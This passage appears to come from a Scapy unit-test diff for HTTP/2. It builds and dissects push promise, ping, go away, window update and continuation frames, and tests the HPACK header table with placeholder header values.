+= HTTP/2 Build Push Promise Frame: no flag & headers with compression and hdr_name
+~ http2 frame build pushpromise
+
+p = h2.H2Frame(stream_id=1)/h2.H2PushPromiseFrame(stream_id=3,hdrs=[
+    h2.HPackLitHdrFldWithIncrIndexing(
+        hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')),
+        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me')),
+    )
+])
+assert(raw(p) == b'\x00\x00\x15\x05\x00\x00\x00\x00\x01\x00\x00\x00\x03@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me')
+
+= HTTP/2 Dissect Push Promise Frame: with padding, the flag END_Header & headers with compression and hdr_name
+~ http2 frame dissect pushpromise
+
+pkt = h2.H2Frame(b'\x00\x00\x1e\x05\x0c\x00\x00\x00\x01\x08\x00\x00\x00\x03@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me\x00\x00\x00\x00\x00\x00\x00\x00')
+assert(pkt.type == 5)
+assert(pkt.len == 30)
+assert(len(pkt.flags) == 2)
+assert('P' in pkt.flags)
+assert('EH' in pkt.flags)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 1)
+assert(flags_bit_pattern.search(pkt.show(dump=True)) is None)
+assert(isinstance(pkt.payload, h2.H2PaddedPushPromiseFrame))
+assert(pkt[h2.H2PaddedPushPromiseFrame])
+pf = pkt[h2.H2PaddedPushPromiseFrame]
+assert(pf.padlen == 8)
+assert(pf.padding == b'\x00'*8)
+assert(pf.stream_id == 3)
+assert(len(pf.hdrs) == 1)
+hdr = pf.hdrs[0]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing))
+assert(hdr.magic == 1)
+assert(hdr.index == 0)
+assert(isinstance(hdr.hdr_name, h2.HPackHdrString))
+assert(hdr.hdr_name.type == 1)
+assert(hdr.hdr_name.len == 12)
+assert(hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With')
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.type == 0)
+assert(hdr.hdr_value.len == 2)
+assert(hdr.hdr_value.getfieldval('data').origin() == 'Me')
+
+= HTTP/2 Build Push Promise Frame: with padding, the flag END_Header & headers with compression and hdr_name
+~ http2 frame build pushpromise
+
+p = h2.H2Frame(flags={'P', 'EH'}, stream_id=1)/h2.H2PaddedPushPromiseFrame(
+    stream_id=3,
+    hdrs=[
+        h2.HPackLitHdrFldWithIncrIndexing(
+            hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')),
+            hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me'))
+        )
+    ],
+    padding=b'\x00'*8
+)
+assert(raw(p) == b'\x00\x00\x1e\x05\x0c\x00\x00\x00\x01\x08\x00\x00\x00\x03@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me\x00\x00\x00\x00\x00\x00\x00\x00')
+
++ HTTP/2 Ping Frame Test Suite
+
+= HTTP/2 Dissect Ping Frame: Ping frame
+~ http2 frame dissect ping
+
+pkt = h2.H2Frame(b'\x00\x00\x08\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xe2@') #Ping frame with payload
+assert(pkt.type == 6)
+assert(pkt.len == 8)
+assert(len(pkt.flags) == 0)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 0)
+assert(isinstance(pkt.payload, h2.H2PingFrame))
+assert(pkt[h2.H2PingFrame])
+pf = pkt[h2.H2PingFrame]
+assert(pf.opaque == 123456)
+assert(isinstance(pf.payload, scapy.packet.NoPayload))
+
+= HTTP/2 Build Ping Frame: Ping frame
+~ http2 frame build ping
+
+p = h2.H2Frame()/h2.H2PingFrame(opaque=123456)
+assert(raw(p) == b'\x00\x00\x08\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xe2@')
+
+= HTTP/2 Dissect Ping Frame: Pong frame
+~ http2 frame dissect ping
+
+pkt = h2.H2Frame(b'\x00\x00\x08\x06\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xe2@') #Pong frame
+assert(pkt.type == 6)
+assert(pkt.len == 8)
+assert(len(pkt.flags) == 1)
+assert('A' in pkt.flags)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 0)
+assert(isinstance(pkt.payload, h2.H2PingFrame))
+assert(flags_bit_pattern.search(pkt.show(dump=True)) is None)
+assert(pkt[h2.H2PingFrame])
+pf = pkt[h2.H2PingFrame]
+assert(pf.opaque == 123456)
+assert(isinstance(pf.payload, scapy.packet.NoPayload))
+
+= HTTP/2 Dissect Ping Frame: Pong frame
+~ http2 frame dissect ping
+
+p = h2.H2Frame(flags={'A'})/h2.H2PingFrame(opaque=123456)
+assert(raw(p) == b'\x00\x00\x08\x06\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xe2@')
+
++ HTTP/2 Go Away Frame Test Suite
+
+= HTTP/2 Dissect Go Away Frame: No error
+~ http2 frame dissect goaway
+
+pkt = h2.H2Frame(b'\x00\x00\x08\x07\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00') #Go Away for no particular reason :)
+assert(pkt.type == 7)
+assert(pkt.len == 8)
+assert(len(pkt.flags) == 0)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 0)
+assert(isinstance(pkt.payload, h2.H2GoAwayFrame))
+assert(pkt[h2.H2GoAwayFrame])
+gf = pkt[h2.H2GoAwayFrame]
+assert(gf.reserved == 0)
+assert(gf.last_stream_id == 1)
+assert(gf.error == 0)
+assert(len(gf.additional_data) == 0)
+assert(isinstance(gf.payload, scapy.packet.NoPayload))
+
+= HTTP/2 Build Go Away Frame: No error
+~ http2 frame build goaway
+
+p = h2.H2Frame()/h2.H2GoAwayFrame(last_stream_id=1, error='No error')
+assert(raw(p) == b'\x00\x00\x08\x07\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00')
+
+= HTTP/2 Dissect Go Away Frame: Arbitrary error with additional data
+~ http2 frame dissect goaway
+
+pkt = h2.H2Frame(b'\x00\x00\x10\x07\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\xe2@\x00\x00\x00\x00\x00\x00\x00\x00') #Go Away with debug data
+assert(pkt.type == 7)
+assert(pkt.len == 16)
+assert(len(pkt.flags) == 0)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 0)
+assert(isinstance(pkt.payload, h2.H2GoAwayFrame))
+assert(pkt[h2.H2GoAwayFrame])
+gf = pkt[h2.H2GoAwayFrame]
+assert(gf.reserved == 0)
+assert(gf.last_stream_id == 2)
+assert(gf.error == 123456)
+assert(gf.additional_data == 8*b'\x00')
+assert(isinstance(gf.payload, scapy.packet.NoPayload))
+
+= HTTP/2 Build Go Away Frame: Arbitrary error with additional data
+~ http2 frame build goaway
+
+p = h2.H2Frame()/h2.H2GoAwayFrame(
+    last_stream_id=2,
+    error=123456,
+    additional_data=b'\x00'*8
+)
+assert(raw(p) == b'\x00\x00\x10\x07\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\xe2@\x00\x00\x00\x00\x00\x00\x00\x00')
+
++ HTTP/2 Window Update Frame Test Suite
+
+= HTTP/2 Dissect Window Update Frame: global
+~ http2 frame dissect winupdate
+
+pkt = h2.H2Frame(b'\x00\x00\x04\x08\x00\x00\x00\x00\x00\x00\x01\xe2@') #Window update with increment for connection
+assert(pkt.type == 8)
+assert(pkt.len == 4)
+assert(len(pkt.flags) == 0)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 0)
+assert(isinstance(pkt.payload, h2.H2WindowUpdateFrame))
+assert(pkt[h2.H2WindowUpdateFrame])
+wf = pkt[h2.H2WindowUpdateFrame]
+assert(wf.reserved == 0)
+assert(wf.win_size_incr == 123456)
+assert(isinstance(wf.payload, scapy.packet.NoPayload))
+
+= HTTP/2 Build Window Update Frame: global
+~ http2 frame build winupdate
+
+p = h2.H2Frame()/h2.H2WindowUpdateFrame(win_size_incr=123456)
+assert(raw(p) == b'\x00\x00\x04\x08\x00\x00\x00\x00\x00\x00\x01\xe2@')
+
+= HTTP/2 Dissect Window Update Frame: a stream
+~ http2 frame dissect winupdate
+
+pkt = h2.H2Frame(b'\x00\x00\x04\x08\x00\x00\x00\x00\x01\x00\x01\xe2@') #Window update with increment for a stream
+assert(pkt.type == 8)
+assert(pkt.len == 4)
+assert(len(pkt.flags) == 0)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 1)
+assert(isinstance(pkt.payload, h2.H2WindowUpdateFrame))
+assert(pkt[h2.H2WindowUpdateFrame])
+wf = pkt[h2.H2WindowUpdateFrame]
+assert(wf.reserved == 0)
+assert(wf.win_size_incr == 123456)
+assert(isinstance(wf.payload, scapy.packet.NoPayload))
+
+= HTTP/2 Build Window Update Frame: a stream
+~ http2 frame build winupdate
+
+p = h2.H2Frame(stream_id=1)/h2.H2WindowUpdateFrame(win_size_incr=123456)
+assert(raw(p) == b'\x00\x00\x04\x08\x00\x00\x00\x00\x01\x00\x01\xe2@')
+
++ HTTP/2 Continuation Frame Test Suite
+
+= HTTP/2 Dissect Continuation Frame: no flag & headers with compression and hdr_name
+~ http2 frame dissect continuation
+
+pkt = h2.H2Frame(b'\x00\x00\x11\t\x00\x00\x00\x00\x01@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me')
+assert(pkt.type == 9)
+assert(pkt.len == 17)
+assert(len(pkt.flags) == 0)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 1)
+assert(isinstance(pkt.payload, h2.H2ContinuationFrame))
+assert(pkt[h2.H2ContinuationFrame])
+hf = pkt[h2.H2ContinuationFrame]
+assert(len(hf.hdrs) == 1)
+assert(isinstance(hf.payload, scapy.packet.NoPayload))
+hdr = hf.hdrs[0]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing))
+assert(hdr.magic == 1)
+assert(hdr.index == 0)
+assert(isinstance(hdr.hdr_name, h2.HPackHdrString))
+assert(hdr.hdr_name.type == 1)
+assert(hdr.hdr_name.len == 12)
+assert(hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With')
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.type == 0)
+assert(hdr.hdr_value.len == 2)
+assert(hdr.hdr_value.getfieldval('data').origin() == 'Me')
+
+= HTTP/2 Build Continuation Frame: no flag & headers with compression and hdr_name
+~ http2 frame build continuation
+
+p = h2.H2Frame(stream_id=1)/h2.H2ContinuationFrame(
+    hdrs=[
+        h2.HPackLitHdrFldWithIncrIndexing(
+            hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')),
+            hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me'))
+        )
+    ]
+)
+assert(raw(p) == b'\x00\x00\x11\t\x00\x00\x00\x00\x01@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me')
+
+= HTTP/2 Dissect Continuation Frame: flag END_Header & headers with compression, sensitive flag and hdr_name
+~ http2 frame dissect continuation
+
+pkt = h2.H2Frame(b'\x00\x00\x11\t\x04\x00\x00\x00\x01\x10\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me')
+assert(pkt.type == 9)
+assert(pkt.len == 17)
+assert(len(pkt.flags) == 1)
+assert('EH' in pkt.flags)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 1)
+assert(flags_bit_pattern.search(pkt.show(dump=True)) is None)
+assert(isinstance(pkt.payload, h2.H2ContinuationFrame))
+assert(pkt[h2.H2ContinuationFrame])
+hf = pkt[h2.H2ContinuationFrame]
+assert(len(hf.hdrs) == 1)
+assert(isinstance(hf.payload, scapy.packet.NoPayload))
+hdr = hf.hdrs[0]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 1)
+assert(hdr.index == 0)
+assert(isinstance(hdr.hdr_name, h2.HPackHdrString))
+assert(hdr.hdr_name.type == 1)
+assert(hdr.hdr_name.len == 12)
+assert(hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With')
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.type == 0)
+assert(hdr.hdr_value.len == 2)
+assert(hdr.hdr_value.getfieldval('data').origin() == 'Me')
+
+= HTTP/2 Build Continuation Frame: flag END_Header & headers with compression, sensitive flag and hdr_name
+~ http2 frame build continuation
+
+p = h2.H2Frame(flags={'EH'}, stream_id=1)/h2.H2ContinuationFrame(
+    hdrs=[
+        h2.HPackLitHdrFldWithoutIndexing(
+            never_index=1,
+            hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')),
+            hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me'))
+        )
+    ]
+)
+assert(raw(p) == b'\x00\x00\x11\t\x04\x00\x00\x00\x01\x10\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me')
+
++ HTTP/2 HPackHdrTable Test Suite
+
+= HTTP/2 HPackHdrEntry Tests
+~ http2 hpack hpackhdrtable
+
+n = 'X-Requested-With'
+v = 'Me'
+h = h2.HPackHdrEntry(n, v)
+assert(len(h) == 32 + len(n) + len(v))
+assert(h.name() == n.lower())
+assert(h.value() == v)
+assert(str(h) == '{}: {}'.format(n.lower(), v))
+
+n = ':status'
+v = '200'
+h = h2.HPackHdrEntry(n, v)
+assert(len(h) == 32 + len(n) + len(v))
+assert(h.name() == n.lower())
+assert(h.value() == v)
+assert(str(h) == '{} {}'.format(n.lower(), v))
+
+= HTTP/2 HPackHdrTable : Querying Static Entries
+~ http2 hpack hpackhdrtable
+
+# In RFC7541, the table is 1-based
+assert(expect_exception(KeyError, 'h2.HPackHdrTable()[0]'))
+
+h = h2.HPackHdrTable()
+assert(h[1].name() == ':authority')
+assert(h[7].name() == ':scheme')
+assert(h[7].value() == 'https')
+assert(str(h[14]) == ':status 500')
+assert(str(h[16]) == 'accept-encoding: gzip, deflate')
+
+assert(expect_exception(KeyError, 'h2.HPackHdrTable()[h2.HPackHdrTable._static_entries_last_idx+1]'))
+
+= HTTP/2 HPackHdrTable : Addind Dynamic Entries without overflowing the table
+~ http2 hpack hpackhdrtable
+
+tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32)
+hdr = h2.HPackLitHdrFldWithIncrIndexing(
+    index=32,
+    hdr_value=h2.HPackHdrString(data=h2.HPackZString('PHPSESSID=abcdef0123456789'))
+)
+tbl.register(hdr)
+
+tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32)
+hdr2 = h2.HPackLitHdrFldWithIncrIndexing(
+    index=32,
+    hdr_value=h2.HPackHdrString(data=h2.HPackZString('JSESSID=abcdef0123456789'))
+)
+tbl.register([hdr,hdr2])
+
+tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32)
+hdr3 = h2.HPackLitHdrFldWithIncrIndexing(
+    index=32,
+    hdr_value=h2.HPackHdrString(data=h2.HPackZString('Test=abcdef0123456789'))
+)
+frm = h2.H2Frame(stream_id=1)/h2.H2HeadersFrame(hdrs=[hdr, hdr2, hdr3])
+tbl.register(frm)
+
+
+= HTTP/2 HPackHdrTable : Querying Dynamic Entries
+~ http2 hpack hpackhdrtable
+
+tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32)
+hdrv = 'PHPSESSID=abcdef0123456789'
+hdr = h2.HPackLitHdrFldWithIncrIndexing(
+    index=32,
+    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv))
+)
+tbl.register(hdr)
+
+hdrv2 = 'JSESSID=abcdef0123456789'
+hdr2 = h2.HPackLitHdrFldWithIncrIndexing(
+    index=32,
+    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2))
+)
+tbl.register(hdr2)
+
+hdr3 = h2.HPackLitHdrFldWithIncrIndexing(
+    index=0,
+    hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('x-requested-by')),
+    hdr_value=h2.HPackHdrString(data=h2.HPackZString('me'))
+)
+tbl.register(hdr3)
+
+assert(tbl.get_idx_by_name('x-requested-by') == h2.HPackHdrTable._static_entries_last_idx+1)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv2)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+3].value() == hdrv)
+
+= HTTP/2 HPackHdrTable : Addind already registered Dynamic Entries without overflowing the table
+~ http2 hpack hpackhdrtable
+
+tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32)
+
+assert(len(tbl) == 0)
+
+hdrv = 'PHPSESSID=abcdef0123456789'
+hdr = h2.HPackLitHdrFldWithIncrIndexing(
+    index=32,
+    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv))
+)
+tbl.register(hdr)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv)
+
+hdr2v = 'JSESSID=abcdef0123456789'
+hdr2 = h2.HPackLitHdrFldWithIncrIndexing(
+    index=32,
+    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdr2v))
+)
+tbl.register(hdr2)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdr2v)
+
+l = len(tbl)
+tbl.register(hdr)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdr2v)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+3].value() == hdrv)
+
+= HTTP/2 HPackHdrTable : Addind Dynamic Entries and overflowing the table
+~ http2 hpack hpackhdrtable
+
+tbl = h2.HPackHdrTable(dynamic_table_max_size=80, dynamic_table_cap_size=80)
+hdrv = 'PHPSESSID=abcdef0123456789'
+hdr = h2.HPackLitHdrFldWithIncrIndexing(
+    index=32,
+    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv))
+)
+tbl.register(hdr)
+assert(len(tbl) <= 80)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv)
+
+hdrv2 = 'JSESSID=abcdef0123456789'
+hdr2 = h2.HPackLitHdrFldWithIncrIndexing(
+    index=32,
+    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2))
+)
+tbl.register(hdr2)
+assert(len(tbl) <= 80)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2)
+try:
+    tbl[h2.HPackHdrTable._static_entries_last_idx+2]
+    ret = False
+except:
+    ret = True
+
+assert(ret)
+
+
+= HTTP/2 HPackHdrTable : Resizing
+~ http2 hpack hpackhdrtable
+
+tbl = h2.HPackHdrTable()
+hdrv = 'PHPSESSID=abcdef0123456789'
+hdr = h2.HPackLitHdrFldWithIncrIndexing(
+    index=32,
+    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv))
+)
+tbl.register(hdr)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv)
+
+hdrv2 = 'JSESSID=abcdef0123456789'
+hdr2 = h2.HPackLitHdrFldWithIncrIndexing(
+    index=32,
+    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2))
+)
+tbl.register(hdr2)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv)
+
+#Resizing to a value higher than cap (default:4096)
+try:
+    tbl.resize(8192)
+    ret = False
+except AssertionError:
+    ret = True
+
+assert(ret)
+#Resizing to a lower value by that is not small enough to cause eviction
+tbl.resize(1024)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv)
+#Resizing to a higher value but thatt is lower than cap
+tbl.resize(2048)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv)
+#Resizing to a lower value that causes eviction
+tbl.resize(80)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2)
+try:
+    tbl[h2.HPackHdrTable._static_entries_last_idx+2]
+    ret = False
+except:
+    ret = True
+
+assert(ret)
+
+= HTTP/2 HPackHdrTable : Recapping
+~ http2 hpack hpackhdrtable
+
+tbl = h2.HPackHdrTable()
+hdrv = 'PHPSESSID=abcdef0123456789'
+hdr = h2.HPackLitHdrFldWithIncrIndexing(
+    index=32,
+    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv))
+)
+tbl.register(hdr)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv)
+
+hdrv2 = 'JSESSID=abcdef0123456789'
+hdr2 = h2.HPackLitHdrFldWithIncrIndexing(
+    index=32,
+    hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2))
+)
+tbl.register(hdr2)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv)
+
+#Recapping to a higher value
+tbl.recap(8192)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv)
+
+#Recapping to a low value but without causing eviction
+tbl.recap(1024)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv)
+
+#Recapping to a low value that causes evictiontbl.recap(1024)
+tbl.recap(80)
+assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2)
+try:
+    tbl[h2.HPackHdrTable._static_entries_last_idx+2]
+    ret = False
+except:
+    ret = True
+
+assert(ret)
+
+= HTTP/2 HPackHdrTable : Generating Textual Representation
+~ http2 hpack hpackhdrtable helpers
+
+h = h2.HPackHdrTable()
+h.register(h2.HPackLitHdrFldWithIncrIndexing(
+        hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')),
+        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11'))
+))
+
+hdrs_lst = [
+    h2.HPackIndexedHdr(index=2), #Method Get
+    h2.HPackLitHdrFldWithIncrIndexing(
+        index=h.get_idx_by_name(':path'),
+        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('/index.php'))
+    ),
+    h2.HPackIndexedHdr(index=7), #Scheme HTTPS
+    h2.HPackIndexedHdr(index=h2.HPackHdrTable._static_entries_last_idx+2),
+    h2.HPackLitHdrFldWithIncrIndexing(
+        index=58,
+        hdr_value=h2.HPackHdrString(data=h2.HPackZString('Mozilla/5.0 Generated by hand'))
+    ),
+    h2.HPackLitHdrFldWithoutIndexing(
+        hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generated-By')),
+        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me'))
+    )
+]
+
+p = h2.H2Frame(stream_id = 1)/h2.H2HeadersFrame(hdrs=hdrs_lst)
+
+expected_output = ''':method GET
+:path /index.php
+:scheme https
+x-generation-date: 2016-08-11
+user-agent: Mozilla/5.0 Generated by hand
+X-Generated-By: Me'''
+
+assert(h.gen_txt_repr(p) == expected_output)
+
+= HTTP/2 HPackHdrTable : Parsing Textual Representation
+~ http2 hpack hpackhdrtable helpers
+
+body = b'login=titi&passwd=toto'
+hdrs = raw(''':method POST
+:path /login.php
+:scheme https
+content-type: application/x-www-form-urlencoded
+content-length: {}
+user-agent: Mozilla/5.0 Generated by hand
+x-generated-by: Me
+x-generation-date: 2016-08-11
+x-generation-software: scapy
+'''.format(len(body)))
+
+h = h2.HPackHdrTable()
+h.register(h2.HPackLitHdrFldWithIncrIndexing(
+        hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')),
+        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11'))
+))
+seq = h.parse_txt_hdrs(
+    hdrs,
+    stream_id=1,
+    body=body,
+    should_index=lambda name: name in ['user-agent', 'x-generation-software'],
+    is_sensitive=lambda name, value: name in ['x-generated-by', ':path']
+)
+assert(isinstance(seq, h2.H2Seq))
+assert(len(seq.frames) == 2)
+p = seq.frames[0]
+assert(isinstance(p, h2.H2Frame))
+assert(p.type == 1)
+assert(len(p.flags) == 1)
+assert('EH' in p.flags)
+assert(p.stream_id == 1)
+assert(isinstance(p.payload, h2.H2HeadersFrame))
+hdrs_frm = p[h2.H2HeadersFrame]
+assert(len(p.hdrs) == 9)
+hdr = p.hdrs[0]
+assert(isinstance(hdr, h2.HPackIndexedHdr))
+assert(hdr.magic == 1)
+assert(hdr.index == 3)
+hdr = p.hdrs[1]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 1)
+assert(hdr.index in [4, 5])
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString(/login.php)')
+hdr = p.hdrs[2]
+assert(isinstance(hdr, h2.HPackIndexedHdr))
+assert(hdr.magic == 1)
+assert(hdr.index == 7)
+hdr = p.hdrs[3]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 31)
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)')
+hdr = p.hdrs[4]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 28)
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackLiteralString(22)')
+hdr = p.hdrs[5]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing))
+assert(hdr.magic == 1)
+assert(hdr.index == 58)
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)')
+hdr = p.hdrs[6]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 1)
+assert(hdr.index == 0)
+assert(isinstance(hdr.hdr_name, h2.HPackHdrString))
+assert(hdr.hdr_name.data == 'HPackZString(x-generated-by)')
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackLiteralString(Me)')
+hdr = p.hdrs[7]
+assert(isinstance(hdr, h2.HPackIndexedHdr))
+assert(hdr.magic == 1)
+assert(hdr.index == 63)
+hdr = p.hdrs[8]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing))
+assert(hdr.magic == 1)
+assert(hdr.index == 0)
+assert(isinstance(hdr.hdr_name, h2.HPackHdrString))
+assert(hdr.hdr_name.data == 'HPackZString(x-generation-software)')
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString(scapy)')
+
+p = seq.frames[1]
+assert(isinstance(p, h2.H2Frame))
+assert(p.type == 0)
+assert(len(p.flags) == 1)
+assert('ES' in p.flags)
+assert(p.stream_id == 1)
+assert(isinstance(p.payload, h2.H2DataFrame))
+pay = p[h2.H2DataFrame]
+assert(pay.data == body)
+
+= HTTP/2 HPackHdrTable : Parsing Textual Representation without body
+~ http2 hpack hpackhdrtable helpers
+
+hdrs = b''':method POST
+:path /login.php
+:scheme https
+user-agent: Mozilla/5.0 Generated by hand
+x-generated-by: Me
+x-generation-date: 2016-08-11
+'''
+
+h = h2.HPackHdrTable()
+h.register(h2.HPackLitHdrFldWithIncrIndexing(
+        hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')),
+        hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11'))
+))
+
+# Without body
+seq = h.parse_txt_hdrs(hdrs, stream_id=1)
+assert(isinstance(seq, h2.H2Seq))
+#This is the first major difference with the first test
+assert(len(seq.frames) == 1)
+p = seq.frames[0]
+assert(isinstance(p, h2.H2Frame))
+assert(p.type == 1)
+assert(len(p.flags) == 2)
+assert('EH' in p.flags)
+#This is the second major difference with the first test
+assert('ES' in p.flags)
+assert(p.stream_id == 1)
+assert(isinstance(p.payload, h2.H2HeadersFrame))
+hdrs_frm = p[h2.H2HeadersFrame]
+assert(len(p.hdrs) == 6)
+hdr = p.hdrs[0]
+assert(isinstance(hdr, h2.HPackIndexedHdr))
+assert(hdr.magic == 1)
+assert(hdr.index == 3)
+hdr = p.hdrs[1]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index in [4, 5])
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.data == 'HPackZString(/login.php)')
+hdr = p.hdrs[2]
+assert(isinstance(hdr, h2.HPackIndexedHdr))
+assert(hdr.magic == 1)
+assert(hdr.index == 7)
+hdr = p.hdrs[3]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing))
+assert(hdr.magic == 0)
+assert(hdr.never_index == 0)
+assert(hdr.index == 58)
+assert(hdr.hdr_name is None)
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
